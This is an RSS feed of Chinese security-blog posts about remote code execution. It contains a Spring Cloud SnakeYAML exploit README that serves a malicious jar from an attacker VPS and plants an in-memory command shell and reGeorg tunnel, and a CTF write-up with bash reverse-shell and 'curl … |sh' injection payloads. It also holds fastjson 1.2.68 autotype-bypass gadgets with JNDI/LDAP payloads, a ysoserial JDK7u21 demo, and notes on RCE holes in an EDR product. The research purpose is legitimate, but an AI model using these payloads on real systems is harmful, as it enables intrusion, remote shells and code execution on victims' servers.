<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>rce &#8211; ChaBug安全</title>
	<atom:link href="/tags/rce/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Thu, 24 Sep 2020 11:13:02 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>Spring Cloud SnakeYAML 一键注册内存cmd shell和reGeorg</title>
		<link>/web/1913.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 24 Sep 2020 11:30:03 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[regeorg]]></category>
		<category><![CDATA[spring]]></category>
		<category><![CDATA[内存shell]]></category>
		<category><![CDATA[审计]]></category>
		<guid isPermaLink="false">/?p=1913</guid>

					<description><![CDATA[项目地址 https://github.com/Y4er/yaml-payload README 利用条件： &#8211; 可以 POST 请求目标网站的 /env 接口设置属性...]]></description>
										<content:encoded><![CDATA[<h1>项目地址</h1>
<p>https://github.com/Y4er/yaml-payload</p>
<h1>README</h1>
<p>利用条件：<br />
&#8211; 可以 POST 请求目标网站的 <code>/env</code> 接口设置属性<br />
&#8211; 可以 POST 请求目标网站的 <code>/refresh</code> 接口刷新配置（存在 <code><span class="wpcom_tag_link"><a href="/tags/spring" title="spring" target="_blank">spring</a></span>-boot-starter-actuator</code> 依赖）<br />
&#8211; 目标依赖的 <code>spring-cloud-starter</code> 版本 &lt; 1.3.0.RELEASE<br />
&#8211; 目标可以请求攻击者的 HTTP 服务器（请求可出外网）</p>
<p>仅在JDK1.8及Spring1.x测试通过,其他版本自测.</p>
<p>利用方法如下：</p>
<h2>编译class文件然后打jar包</h2>
<pre><code class="language-bash line-numbers">cd yaml-payload
javac src/artsploit/AwesomeScriptEngineFactory.java -cp ./lib
javac src/artsploit/Tunnel.java -cp ./lib
javac src/artsploit/GameInfo.java -cp ./lib
jar -cvf yaml-payload.jar -C src/ .
</code></pre>
<h2>托管 yml 和 jar 文件</h2>
<p>在自己控制的<code>vps</code>机器上开启一个简单<code>HTTP</code>服务器，端口尽量使用常见<code>HTTP</code>服务端口（80、443）</p>
<pre><code class="language-bash line-numbers"># 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
</code></pre>
<p>在网站根目录下放置后缀为<code>yml</code>的文件<code>yaml-payload.yml</code>,内容如下:</p>
<pre><code class="language-yaml line-numbers">!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://your-vps-ip/yaml-payload.jar"]
  ]]
]
</code></pre>
<p>在网站根目录下放置打包好的<code>yaml-payload.jar</code></p>
<h2>设置<code>spring.cloud.bootstrap.location</code>属性</h2>
<pre><code class="line-numbers">POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/yaml-payload.yml
</code></pre>
<h2>刷新配置</h2>
<pre><code class="line-numbers">POST /refresh
Content-Type: application/x-www-form-urlencoded
</code></pre>
<h2>访问注入的shell</h2>
<ol>
<li>reGeorg: http://localhost:9092/api/v1/tunnel</li>
<li>cmd shell: http://localhost:9092/api/v1/game POST:code=whoami</li>
</ol>
<h1>参考</h1>
<ol>
<li>https://github.com/LandGrey/SpringBootVulExploit</li>
<li>https://www.anquanke.com/post/id/198886</li>
<li>https://github.com/artsploit/yaml-payload</li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>关于某EDR多处RCE漏洞的简单分析</title>
		<link>/audit/1838.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 17 Aug 2020 16:01:06 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[rce]]></category>
		<guid isPermaLink="false">/?p=1838</guid>

					<description><![CDATA[RCE_1？ 漏洞文件 tool\log\c.php 通过URL传参初始化变量，经典的变量覆盖漏洞。 RCE_2？ tool\php_cli.php 同样的问题，感觉这个更过分了，...]]></description>
										<content:encoded><![CDATA[<h2>RCE_1？</h2>
<p><strong>漏洞文件</strong></p>
<pre><code class="language-rst line-numbers">tool\log\c.php
</code></pre>
<p>通过URL传参初始化变量，经典的变量覆盖漏洞。</p>
<p><img src="https://i.loli.net/2020/08/17/NOnveEXifm4wgCr.png" alt="" /></p>
<p><img src="https://i.loli.net/2020/08/17/ikHP9U3NXjld84G.png" alt="" /></p>
<h2>RCE_2？</h2>
<pre><code class="language-rst line-numbers">tool\php_cli.php
</code></pre>
<p>同样的问题，感觉这个更过分了，bypass waf webshell？</p>
<p><img src="https://i.loli.net/2020/08/17/AgLtZD4WzTvujkq.png" alt="" /></p>
<h2>RCE_3？</h2>
<pre><code class="language-rst line-numbers">tool\ldb_cli.php
</code></pre>
<p>同。</p>
<p><img src="https://i.loli.net/2020/08/17/LtuyDEmd3bWfzrZ.png" alt="" /></p>
<h2>RCE_4?</h2>
<pre><code class="language-rst line-numbers">tool\mdd_sql.php
</code></pre>
<p><img src="https://i.loli.net/2020/08/17/2lr87OWmsTyuAf4.png" alt="" /></p>
<h2>任意文件读取</h2>
<pre><code class="language-rst line-numbers">store\cat.php
</code></pre>
<p>算了，大家都看得懂</p>
<p><img src="https://i.loli.net/2020/08/17/YdBpjG8Fkgo6vnh.png" alt="" /></p>
<p><img src="https://i.loli.net/2020/08/17/4KzjdVSABFm1NkT.png" alt="" /></p>
<p><strong>啊，这， 算了，不看了</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>每日一问：记一次命令注入RCE</title>
		<link>/ctf/1815.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 14 Jul 2020 01:32:49 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[命令执行]]></category>
		<category><![CDATA[命令注入]]></category>
		<category><![CDATA[每日一问]]></category>
		<guid isPermaLink="false">/?p=1815</guid>

					<description><![CDATA[在qq群里提出了一个每日一问的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。 题目 模拟真实环境在群里出了一道C...]]></description>
										<content:encoded><![CDATA[<p>在qq群里提出了一个<strong><span class="wpcom_tag_link"><a href="/tags/%e6%af%8f%e6%97%a5%e4%b8%80%e9%97%ae" title="每日一问" target="_blank">每日一问</a></span></strong>的活动，目的是拓展渗透实战思路，问题不限于渗透、审计、红队、逆向。这篇文章是昨天晚上临时由实战环境改的一个CTF题。</p>
<h2>题目</h2>
<p>模拟真实环境在群里出了一道CTF题当作<strong>每日一问</strong>，代码形如：</p>
<pre><code class="language-php line-numbers">&lt;?php
header('Content-Type: text/html; charset=utf-8');
//error_reporting(0);
$upload_dir = 'uploads/';
$isFfmpeg = isset($_POST['isFfmpeg']) ? (boolean)($_POST['isFfmpeg']) : false;
$save = isset($_POST['save']) ? $upload_dir . $_POST['save'] : false;
$filename = isset($_FILES['filename']) ? $_FILES['filename']['name'] : false;
if ($isFfmpeg &amp;&amp; isset($_FILES)) {
    if ($filename &amp;&amp; $save &amp;&amp; $_FILES['filename']["type"] == 'video/blob') {
        if (move_uploaded_file($_FILES['filename']["tmp_name"], $save)) {
            $last_line = exec("ffmpeg -i " . $save . " -hide_banner");
           // echo 'success';
        } else {
            //echo 'error';
            unlink($save);
            unlink($_FILES['filename']['tmp_name']);
        }
    }
} else {
    show_source(__FILE__);
}
</code></pre>
<p>环境是oneinstack的集成环境，网站目录位于<code>/data/wwwroot/default/index.php</code>，index.php是root权限写入的。</p>
<h2>题解思路</h2>
<p>php文件很明确可以看出来两个洞：<br />
1. 任意文件上传<br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%91%bd%e4%bb%a4%e6%b3%a8%e5%85%a5" title="命令注入" target="_blank">命令注入</a></span></p>
<p>首先尝试任意文件上传，直接怼上去shell试试，构造请求包：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/ff7620e7-139a-7b60-e6c9-69ffa9293ee7.png" alt="image.png" /></p>
<p>访问 http://123.57.223.30/uploads/aa.php 报404，直接访问 http://123.57.223.30/uploads/ 没有这个目录，分析之后发现是<code>move_uploaded_file</code>的问题，当不存在uploads目录时会走else分支。</p>
<p>尝试跨目录<code>../</code>，shell应该在 http://123.57.223.30/aa.php 访问发现还是404。全站应该没有写入权限。只能走命令注入这条路了。</p>
<p>命令注入的关键点在于<code>move_uploaded_file</code>，首先找可写目录，比如<code>/tmp/</code>，因为不知道当前的绝对路径，我们可以用尽可能多的<code>../</code>跨到tmp，形如：<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/1548fa45-e335-886c-1450-8610c770ee00.png" alt="image.png" /></p>
<p>确实可行<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/b618e78f-108d-c3a8-67bf-7919a4a6ee69.png" alt="image.png" /></p>
<p>这样走到exec之后注入，dnslog带外<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/3b7fe2d5-7c78-0864-a5e8-998dd4c99022.png" alt="image.png" /></p>
<p><img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/0b67d591-c95e-c4d5-1447-c402c33210fb.png" alt="image.png" /></p>
<p>这个时候上传的文件名为<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/11647257-ddbd-f57a-0367-10be431ea3e0.png" alt="image.png" /></p>
<p>尝试常规的bash反弹shell</p>
<pre><code class="line-numbers">bash -i &gt;&amp; /dev/tcp/ip/8080 0&gt;&amp;1
</code></pre>
<p>发包后没收到shell，因为<code>/</code>的问题，在<code>move_uploaded_file</code>的时候会报错，走不到exec()。</p>
<p>这个时候就是体现姿势的时候了。群友给了几个姿势</p>
<pre><code class="line-numbers">/../../../../../tmp/xx;curl 10.10.10.10 |sh ;
../../../../../../tmp/asdfasd.sh;bash $(php -r "print(chr(47));")tmp$(php -r "print(chr(47));")a.sh;
/../../../../../tmp/xx;bash -i &gt;&amp; ${PWD:0:1}dev${PWD:0:1}tcp${PWD:0:1}123.57.223.30${PWD:0:1}8080 0&gt;&amp;1;
echo `echo Lwo=|base64 -d`tmp
</code></pre>
<ol>
<li>curl的原理是直接通过管道符执行curl的结果</li>
<li>先传一<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d35719f6-6a27-72e6-aa1d-16156452eb59.png" alt="image.png" /><br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/d8201340-434f-baf3-7913-7d1ef6f94290.png" alt="image.png" /></li>
</ol>
<h2>上帝视角</h2>
<p>主要就是命令注入和<code>move_uploaded_file</code>在Linux下的绕过。回过头看Linux权限问题<br />
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/593424/05143a03-99b1-c5df-b816-f0d4b9a6d80b.png" alt="image.png" /><br />
index.php为root所属，其他用户只有读权限，不可写。完美复现实战中碰到的苛刻环境，利用还算简单，重点是通过bash配合其他命令进行绕过特殊字符串。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>fastjson 1.2.68 bypass autotype</title>
		<link>/audit/1803.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 18 Jun 2020 01:09:36 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[fastjson]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1803</guid>

					<description><![CDATA[基于期望类的特性 分析 com.alibaba.fastjson.parser.ParserConfig#checkAutoType(String typeName, Class&#038;...]]></description>
										<content:encoded><![CDATA[<p>基于期望类的特性</p>
<h2>分析</h2>
<p><code>com.alibaba.<span class="wpcom_tag_link"><a href="/tags/fastjson" title="fastjson" target="_blank">fastjson</a></span>.parser.ParserConfig#checkAutoType(String typeName, Class&lt;?&gt; expectClass, int features)</code>方法有三个参数分别是</p>
<ol>
<li>typeName 被序列化的类名</li>
<li>expectClass 期望类</li>
<li>features值</li>
</ol>
<p>具体看下校验过程</p>
<p>首先判断非空和安全模式以及typename长度来决定是否进行autotype。</p>
<pre><code class="language-java line-numbers">        if (typeName == null) {
            return null;
        }

        if (autoTypeCheckHandlers != null) {
            for (AutoTypeCheckHandler h : autoTypeCheckHandlers) {
                Class&lt;?&gt; type = h.handler(typeName, expectClass, features);
                if (type != null) {
                    return type;
                }
            }
        }

        final int safeModeMask = Feature.SafeMode.mask;
        boolean safeMode = this.safeMode
                || (features &amp; safeModeMask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE &amp; safeModeMask) != 0;
        if (safeMode) {
            throw new JSONException("safeMode not support autoType : " + typeName);
        }

        if (typeName.length() &gt;= 192 || typeName.length() &lt; 3) {
            throw new JSONException("autoType is not support. " + typeName);
        }
</code></pre>
<p>然后判断期望类</p>
<pre><code class="language-java line-numbers">        final boolean expectClassFlag;
        if (expectClass == null) {
            expectClassFlag = false;
        } else {
            if (expectClass == Object.class
                    || expectClass == Serializable.class
                    || expectClass == Cloneable.class
                    || expectClass == Closeable.class
                    || expectClass == EventListener.class
                    || expectClass == Iterable.class
                    || expectClass == Collection.class
                    ) {
                expectClassFlag = false;
            } else {
                expectClassFlag = true;
            }
        }
</code></pre>
<p>Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection这几个类不能作为expectClass期望类。</p>
<p>然后计算hash进行内部白名单、黑名单匹配</p>
<pre><code class="language-java line-numbers">        String className = typeName.replace('$', '.');
        Class&lt;?&gt; clazz;

        final long BASIC = 0xcbf29ce484222325L;
        final long PRIME = 0x100000001b3L;

        final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
        if (h1 == 0xaf64164c86024f1aL) { // [
            throw new JSONException("autoType is not support. " + typeName);
        }

        if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        final long h3 = (((((BASIC ^ className.charAt(0))
                * PRIME)
                ^ className.charAt(1))
                * PRIME)
                ^ className.charAt(2))
                * PRIME;

        long fullHash = TypeUtils.fnv1a_64(className);
        boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,  fullHash) &gt;= 0;

        if (internalDenyHashCodes != null) {
            long hash = h3;
            for (int i = 3; i &lt; className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(internalDenyHashCodes, hash) &gt;= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }

        if ((!internalWhite) &amp;&amp; (autoTypeSupport || expectClassFlag)) {
            long hash = h3;
            for (int i = 3; i &lt; className.length(); ++i) {
                hash ^= className.charAt(i);
                hash *= PRIME;
                if (Arrays.binarySearch(acceptHashCodes, hash) &gt;= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
                    if (clazz != null) {
                        return clazz;
                    }
                }
                if (Arrays.binarySearch(denyHashCodes, hash) &gt;= 0 &amp;&amp; TypeUtils.getClassFromMapping(typeName) == null) {
                    if (Arrays.binarySearch(acceptHashCodes, fullHash) &gt;= 0) {
                        continue;
                    }

                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
        }
</code></pre>
<p>如果<code>(!internalWhite) &amp;&amp; (autoTypeSupport || expectClassFlag)</code>不在内部白名单中并且开启autoTypeSupport或者有期望类时，进行hash校验白名单acceptHashCodes、黑名单denyHashCodes，在白名单内就加载，在黑名单中就抛出异常。继续</p>
<pre><code class="language-java line-numbers">        clazz = TypeUtils.getClassFromMapping(typeName);

        if (clazz == null) {
            clazz = deserializers.findClass(typeName);
        }

        if (clazz == null) {
            clazz = typeMapping.get(typeName);
        }

        if (internalWhite) {
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
        }

        if (clazz != null) {
            if (expectClass != null
                    &amp;&amp; clazz != java.util.HashMap.class
                    &amp;&amp; !expectClass.isAssignableFrom(clazz)) {
                throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
            }

            return clazz;
        }
</code></pre>
<p>分别从getClassFromMapping、deserializers.findClass、typeMapping、internalWhite内部白名单中查找类，如果开启了expectClass期望类还要判断类型是否一致。</p>
<p>getClassFromMapping在<code>com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings</code>被赋值，添加了一些基本类，后续会当作缓存使用。<br />
<img src="https://y4er.com/img/uploads/20200616118023.png" alt="image.png" /><br />
这里先注意下<code><span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>.lang.AutoCloseable</code>类。</p>
<p>deserializers.findClass是在<code>com.alibaba.fastjson.parser.ParserConfig#initDeserializers</code>初始化。<br />
<img src="https://y4er.com/img/uploads/20200616119542.png" alt="image.png" /><br />
也是存放了一些特殊类用来直接<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>。</p>
<p>typeMapping默认为空需要开发自己赋值，形如</p>
<pre><code class="language-java line-numbers">ParserConfig.getGlobalInstance().register("test", Model.class);
</code></pre>
<p>internalWhite内部白名单就不说了，到这里已经可以返回类了，通过<code>java.net.Inet6Address</code>、<code>java.net.URL</code>等来判断fastjson也是这个原理。</p>
<p>然后继续走就到了autoTypeSupport的校验。</p>
<pre><code class="language-java line-numbers">        if (!autoTypeSupport) {
            long hash = h3;
            for (int i = 3; i &lt; className.length(); ++i) {
                char c = className.charAt(i);
                hash ^= c;
                hash *= PRIME;

                if (Arrays.binarySearch(denyHashCodes, hash) &gt;= 0) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                // white list
                if (Arrays.binarySearch(acceptHashCodes, hash) &gt;= 0) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);

                    if (expectClass != null &amp;&amp; expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
                    }

                    return clazz;
                }
            }
        }
</code></pre>
<p>黑白名单匹配。</p>
<p>继续判断使用注解JSONType的类</p>
<pre><code class="language-java line-numbers">        boolean jsonType = false;
        InputStream is = null;
        try {
            String resource = typeName.replace('.', '/') + ".class";
            if (defaultClassLoader != null) {
                is = defaultClassLoader.getResourceAsStream(resource);
            } else {
                is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
            }
            if (is != null) {
                ClassReader classReader = new ClassReader(is, true);
                TypeCollector visitor = new TypeCollector("&lt;clinit&gt;", new Class[0]);
                classReader.accept(visitor);
                jsonType = visitor.hasJsonType();
            }
        } catch (Exception e) {
            // skip
        } finally {
            IOUtils.close(is);
        }
</code></pre>
<p>继续</p>
<pre><code class="language-java line-numbers">        final int mask = Feature.SupportAutoType.mask;
        boolean autoTypeSupport = this.autoTypeSupport
                || (features &amp; mask) != 0
                || (JSON.DEFAULT_PARSER_FEATURE &amp; mask) != 0;

        if (autoTypeSupport || jsonType || expectClassFlag) {
            boolean cacheClass = autoTypeSupport || jsonType;
            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
        }

        if (clazz != null) {
            if (jsonType) {
                TypeUtils.addMapping(typeName, clazz);
                return clazz;
            }

            if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }

            if (expectClass != null) {
                if (expectClass.isAssignableFrom(clazz)) {
                    TypeUtils.addMapping(typeName, clazz);
                    return clazz;
                } else {
                    throw new JSONException("type not match. " + typeName + " -&gt; " + expectClass.getName());
                }
            }

            JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
            if (beanInfo.creatorConstructor != null &amp;&amp; autoTypeSupport) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
</code></pre>
<p>如果有注解，则加入mapping缓存并直接返回。如果没有注解判断clazz类是否继承或实现classloader、dataSou<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>、RowSet，抛出异常防止jndi注入。</p>
<p>如果expectClass期望类不为空，则需要加载的类是期望类的子类或实现，并直接返回，否则异常。</p>
<p>如果类使用<code>JSONCreator</code>注解并且开启autoTypeSupport，抛出异常。</p>
<p>最后就是判断是否开启autoTypeSupport特性，将clazz添加进缓存，并且return clazz。</p>
<pre><code class="language-java line-numbers">        if (!autoTypeSupport) {
            throw new JSONException("autoType is not support. " + typeName);
        }

        if (clazz != null) {
            TypeUtils.addMapping(typeName, clazz);
        }
</code></pre>
<p>可以看到主要有如下种情况可以直接返回class</p>
<p>TypeUtils.mappings mappings缓存1.2.47中就被绕过了一次autotype。而这次绕过是在于<code>exceptClass</code>期望类这个功能。</p>
<p>期望类的功能主要是实现/继承了期望类的class能被反序列化出来（并且不受autotype影响），寻找checkAutoType方法的调用，要求exceptClass不为空。</p>
<p><img src="https://y4er.com/img/uploads/20200616112778.png" alt="image.png" /></p>
<p>只有两个类<code>JavaBeanDeserializer</code>、<code>ThrowableDeserializer</code>中调用了checkAutoType并且exceptClass不为空。</p>
<p>在<code>com/alibaba/fastjson/parser/ParserConfig.java:826</code>中对一些基本的类型设置了对应的反序列化实例deserializer<br />
<img src="https://y4er.com/img/uploads/20200616112730.png" alt="image.png" /><br />
ThrowableDeserializer是Throwable用来反序列化异常类的，当没有命中之前程序给定的类型时会进入createJavaBeanDeserializer()，其实就是JavaBeanDeserializer。</p>
<p>先看ThrowableDeserializer中<br />
<img src="https://y4er.com/img/uploads/20200616111164.png" alt="image.png" /></p>
<p>根据第二个<code>@type</code>获取类，并且传入指定期望类进行加载。因此可以反序列化继承Throwable的异常类，借助setter、getter等方法的自动调用，来挖掘gadget。浅蓝师傅给了一个gadget</p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import java.io.IOException;

public class ExecException extends Exception {

    private String domain;

    public ExecException() {
        super();
    }

    public String getDomain() {
        return domain;
    }

    public void setDomain(String domain) {
        this.domain = domain;
    }

    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }
}
</code></pre>
<p>提交json触发rce</p>
<pre><code class="language-java line-numbers">{
  "@type":"java.lang.Exception",
  "@type": "org.chabug.fastjson.exploit.ExecException",
  "domain": "y4er.com | calc"
}
</code></pre>
<p>当然很少有开发者把命令执行写道异常类处理中，所以Throwable鸡肋。</p>
<p>再来看JavaBeanDeserializer，在fastjson中对大部分类都指定了特定的deserializer，而AutoCloseable类没有，通过继承/实现AutoCloseable的类可以绕过autotype反序列化。场景如下：</p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import java.io.Closeable;
import java.io.IOException;

public class ExecCloseable implements Closeable {
    private String domain;

    public ExecCloseable() {
    }

    public ExecCloseable(String domain) {
        this.domain = domain;
    }

    public String getDomain() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
        } catch (IOException e) {
            e.printStackTrace();
        }
        return domain;
    }

    public void setDomain(String domain) {
        this.domain = domain;
    }

    @Override
    public void close() throws IOException {

    }
}
</code></pre>
<p>提交json触发rce</p>
<pre><code class="language-java line-numbers">{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.ExecCloseable",
  "domain": "y4er.com | calc"
}
</code></pre>
<p>fastjson在黑名单中还加上了java.lang.Runnable、java.lang.Readable，这个利用场景拿Runnable举个例子</p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import java.io.IOException;

public class ExecRunnable implements AutoCloseable {
    private EvalRunnable eval;

    public EvalRunnable getEval() {
        return eval;
    }

    public void setEval(EvalRunnable eval) {
        this.eval = eval;
    }

    @Override
    public void close() throws Exception {

    }
}

class EvalRunnable implements Runnable {
    private String cmd;

    public String getCmd() {
        System.out.println("EvalRunnable getCmd() "+cmd);
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
        return cmd;
    }

    public void setCmd(String cmd) {
        this.cmd = cmd;
    }

    @Override
    public void run() {

    }
}
</code></pre>
<pre><code class="language-java line-numbers">{
  "@type":"java.lang.AutoCloseable",
  "@type": "org.chabug.fastjson.exploit.ExecRunnable",
  "eval":{"@type":"org.chabug.fastjson.exploit.EvalRunnable","cmd":"calc"}
}
</code></pre>
<p>Readable同理。</p>
<p>拓展使用$ref拓展攻击面，使用parse()解析的也能触发任意getter。这个payload来自 <a class="wp-editor-md-post-content-link" href="https://github.com/threedr3am/learnjavabug/commit/ea61297cf7b2125ecae0064d2b8061a9e32db1e6">@threedr3am</a></p>
<pre><code class="language-java line-numbers">package org.chabug.fastjson.exploit;

import com.alibaba.fastjson.JSON;
import org.apache.shiro.jndi.JndiLocator;
import org.apache.shiro.util.Factory;

import javax.naming.NamingException;

public class RefAnyGetterInvoke&lt;T&gt; extends JndiLocator implements Factory&lt;T&gt;, AutoCloseable {
    private String resourceName;

    public RefAnyGetterInvoke() {
    }

    public static void main(String[] args) {
        String json = "{\n" +
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +
                "  \"@type\": \"org.chabug.fastjson.exploit.RefAnyGetterInvoke\",\n" +
                "  \"resourceName\": \"ldap://localhost:1389/Calc\",\n" +
                "  \"instance\": {\n" +
                "    \"$ref\": \"$.instance\"\n" +
                "  }\n" +
                "}";
        System.out.println(json);
        JSON.parse(json);   // 默认不会调用getter 使用$ref就可以调用到getInstance()
//        JSON.parseObject(json); // parseObject默认就会调用getter getInstance()
    }

    public T getInstance() {
        System.out.println(getClass().getName() + ".getInstance() invoke.");
        try {
            return (T) this.lookup(this.resourceName);
        } catch (NamingException var3) {
            throw new IllegalStateException("Unable to look up with jndi name '" + this.resourceName + "'.", var3);
        }
    }

    public String getResourceName() {
        System.out.println(getClass().getName() + ".getResourceName() invoke.");
        return this.resourceName;
    }

    public void setResourceName(String resourceName) {
        System.out.println(getClass().getName() + ".setResourceName() invoke.");
        this.resourceName = resourceName;
    }

    @Override
    public void close() throws Exception {

    }
}
</code></pre>
<h2>gadget</h2>
<pre><code class="language-java line-numbers"> if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                    || javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                    || javax.sql.RowSet.class.isAssignableFrom(clazz) //
                    ) {
                throw new JSONException("autoType is not support. " + typeName);
            }
</code></pre>
<p>因为这几行代码的限制，大部分的JNDI gadget都不能用了，需要找到一条基于AutoCloseable的新gadget。浅蓝师傅给的思路是挖掘文件读写操作。我还在挖掘中，欢迎各位师傅交流。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Ysoserial JDK7u21</title>
		<link>/audit/1799.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 10 Jun 2020 03:21:11 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[jdk]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[ysoserial]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1799</guid>

					<description><![CDATA[0^anything=anything 环境 jdk7u21 ysoserial idea 复现 package ysoserial.mytest; import ysoseria...]]></description>
										<content:encoded><![CDATA[<p>0^anything=anything</p>
<h2>环境</h2>
<p><span class="wpcom_tag_link"><a href="/tags/jdk" title="jdk" target="_blank">jdk</a></span>7u21 <span class="wpcom_tag_link"><a href="/tags/ysoserial" title="ysoserial" target="_blank">ysoserial</a></span> idea</p>
<h2>复现</h2>
<p><img src="https://y4er.com/img/uploads/20200610111235.png" alt="image.png" /></p>
<pre><code class="language-java line-numbers">package ysoserial.mytest;

import ysoserial.payloads.Jdk7u21;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class JDK7u21 {
    public static void main(String[] args) {
        try {
            Object calc = new Jdk7u21().getObject("calc");

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();//用于存放person对象序列化byte数组的输出流

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(calc);//序列化对象
            objectOutputStream.flush();
            objectOutputStream.close();

            byte[] bytes = byteArrayOutputStream.toByteArray(); //读取序列化后的对象byte数组

            ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);//存放byte数组的输入流

            ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
            Object o = objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
